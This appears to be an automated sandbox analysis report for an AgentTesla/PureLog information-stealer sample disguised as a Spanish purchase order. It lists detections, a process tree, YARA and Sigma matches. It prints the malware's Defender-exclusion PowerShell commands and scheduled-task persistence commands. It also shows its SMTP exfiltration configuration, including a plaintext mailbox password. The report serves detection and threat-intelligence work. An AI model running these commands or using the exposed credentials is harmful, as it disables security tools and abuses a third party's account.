Edit tour

Windows Analysis Report
nOrden_de_compra.exe

Overview

General Information

Sample name:	nOrden_de_compra.exe
Analysis ID:	1385592
MD5:	593bb72286c1c2ce5c2456c7d9585a80
SHA1:	cb9bf63f9005d5b4f1bcbcf3efead399a1c960a7
SHA256:	84f0a1001a606072b86d8eca2c4d9ccefc71c38ff71d0aaa2f4ae003f802917b
Tags:	AgentTeslaexe
Infos:

Detection

AgentTesla, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected PureLog Stealer

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Installs a global keyboard hook

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Process Patterns NTDS.DIT Exfil

Sigma detected: Suspicious Schtasks From Env Var Folder

Tries to load missing DLLs

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

nOrden_de_compra.exe (PID: 5724 cmdline: C:\Users\user\Desktop\nOrden_de_compra.exe MD5: 593BB72286C1C2CE5C2456C7D9585A80)

powershell.exe (PID: 4132 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\nOrden_de_compra.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2744 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 2612 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 6464 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nOrden_de_compra.exe (PID: 2216 cmdline: C:\Users\user\Desktop\nOrden_de_compra.exe MD5: 593BB72286C1C2CE5C2456C7D9585A80)

nOrden_de_compra.exe (PID: 1460 cmdline: C:\Users\user\Desktop\nOrden_de_compra.exe MD5: 593BB72286C1C2CE5C2456C7D9585A80)

nNdsLvHyWi.exe (PID: 6640 cmdline: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe MD5: 593BB72286C1C2CE5C2456C7D9585A80)

schtasks.exe (PID: 3576 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpE302.tmp MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nNdsLvHyWi.exe (PID: 1176 cmdline: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe MD5: 593BB72286C1C2CE5C2456C7D9585A80)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.triorentacar.ro", "Username": "rezervari@triorentacar.ro", "Password": "trio1289"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2116574097.00000000071A0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000002.4526670149.0000000000433000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.4526670149.0000000000433000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.2148054527.0000000003A78000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2148054527.0000000003A78000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2116474951.0000000007160000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2146832318.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2114084999.0000000003CA8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000A.00000002.4531607343.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.4531607343.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.4531554199.0000000002901000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.4531554199.0000000002901000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2113140924.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2114084999.0000000003F77000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2114084999.0000000003F77000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: nOrden_de_compra.exe PID: 5724	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: nOrden_de_compra.exe PID: 5724	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: nOrden_de_compra.exe PID: 5724	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: nOrden_de_compra.exe PID: 1460	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: nOrden_de_compra.exe PID: 1460	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: nNdsLvHyWi.exe PID: 6640	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: nNdsLvHyWi.exe PID: 6640	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: nNdsLvHyWi.exe PID: 6640	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: nNdsLvHyWi.exe PID: 1176	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: nNdsLvHyWi.exe PID: 1176	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 20 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.nOrden_de_compra.exe.71a0000.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.nOrden_de_compra.exe.71a0000.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.nOrden_de_compra.exe.2cde9dc.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.nOrden_de_compra.exe.3ca9970.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.nOrden_de_compra.exe.7160000.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.nNdsLvHyWi.exe.27de9e8.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.nNdsLvHyWi.exe.27de9e8.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.nOrden_de_compra.exe.2cde9dc.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.nOrden_de_compra.exe.3ca9970.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.nOrden_de_compra.exe.7160000.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.nOrden_de_compra.exe.3fb4308.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.nOrden_de_compra.exe.3fb4308.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.nOrden_de_compra.exe.3fb4308.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3316d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x331df:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33269:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x332fb:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33365:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x333d7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3346d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x334fd:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.nNdsLvHyWi.exe.3a78c38.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.nNdsLvHyWi.exe.3a78c38.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.nNdsLvHyWi.exe.3a78c38.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3316d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x331df:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33269:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x332fb:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33365:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x333d7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3346d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x334fd:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.nOrden_de_compra.exe.3f77ae8.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.nOrden_de_compra.exe.3f77ae8.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.nOrden_de_compra.exe.3f77ae8.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3316d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x331df:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33269:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x332fb:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33365:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x333d7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3346d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x334fd:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.nNdsLvHyWi.exe.3ab5458.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.nNdsLvHyWi.exe.3ab5458.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.nNdsLvHyWi.exe.3ab5458.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3316d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x331df:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33269:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x332fb:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33365:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x333d7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3346d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x334fd:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.nNdsLvHyWi.exe.3ab5458.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.nNdsLvHyWi.exe.3ab5458.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.nNdsLvHyWi.exe.3ab5458.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34f6d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x7158d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34fdf:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x715ff:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35069:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x71689:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x350fb:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x7171b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35165:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x71785:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x351d7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x717f7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3526d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x7188d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x352fd:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x7191d:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.nNdsLvHyWi.exe.3a78c38.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.nNdsLvHyWi.exe.3a78c38.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.nNdsLvHyWi.exe.3a78c38.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34f6d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x7178d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xaddad:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34fdf:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x717ff:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xade1f:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35069:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x71889:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xadea9:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x350fb:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x7191b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xadf3b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35165:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x71985:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xadfa5:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x351d7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x719f7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xae017:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3526d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x71a8d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xae0ad:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34f6d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x7158d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34fdf:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x715ff:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35069:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x71689:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x350fb:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x7171b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35165:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x71785:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x351d7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x717f7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3526d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x7188d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x352fd:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x7191d:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.nOrden_de_compra.exe.3f77ae8.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.nOrden_de_compra.exe.3f77ae8.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.nOrden_de_compra.exe.3f77ae8.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.nOrden_de_compra.exe.3f77ae8.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34f6d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x7178d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xaddad:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34fdf:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x717ff:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xade1f:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35069:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x71889:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xadea9:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x350fb:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x7191b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xadf3b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35165:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x71985:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xadfa5:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x351d7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x719f7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xae017:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3526d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x71a8d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xae0ad:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 31 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\nOrden_de_compra.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\nOrden_de_compra.exe, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\Desktop\nOrden_de_compra.exe, ParentImage: C:\Users\user\Desktop\nOrden_de_compra.exe, ParentProcessId: 5724, ParentProcessName: nOrden_de_compra.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\nOrden_de_compra.exe, ProcessId: 4132, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpE302.tmp, CommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpE302.tmp, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe, ParentImage: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe, ParentProcessId: 6640, ParentProcessName: nNdsLvHyWi.exe, ProcessCommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpE302.tmp, ProcessId: 3576, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 89.32.46.159, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\nOrden_de_compra.exe, Initiated: true, ProcessId: 1460, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49703

Sigma detected: Suspicious Process Patterns NTDS.DIT Exfil

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe, CommandLine: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe, NewProcessName: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe, OriginalFileName: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1064, ProcessCommandLine: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe, ProcessId: 6640, ProcessName: nNdsLvHyWi.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp, CommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\Desktop\nOrden_de_compra.exe, ParentImage: C:\Users\user\Desktop\nOrden_de_compra.exe, ParentProcessId: 5724, ParentProcessName: nOrden_de_compra.exe, ProcessCommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp, ProcessId: 6464, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\nOrden_de_compra.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\nOrden_de_compra.exe, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\Desktop\nOrden_de_compra.exe, ParentImage: C:\Users\user\Desktop\nOrden_de_compra.exe, ParentProcessId: 5724, ParentProcessName: nOrden_de_compra.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\nOrden_de_compra.exe, ProcessId: 4132, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp, CommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\Desktop\nOrden_de_compra.exe, ParentImage: C:\Users\user\Desktop\nOrden_de_compra.exe, ParentProcessId: 5724, ParentProcessName: nOrden_de_compra.exe, ProcessCommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp, ProcessId: 6464, ProcessName: 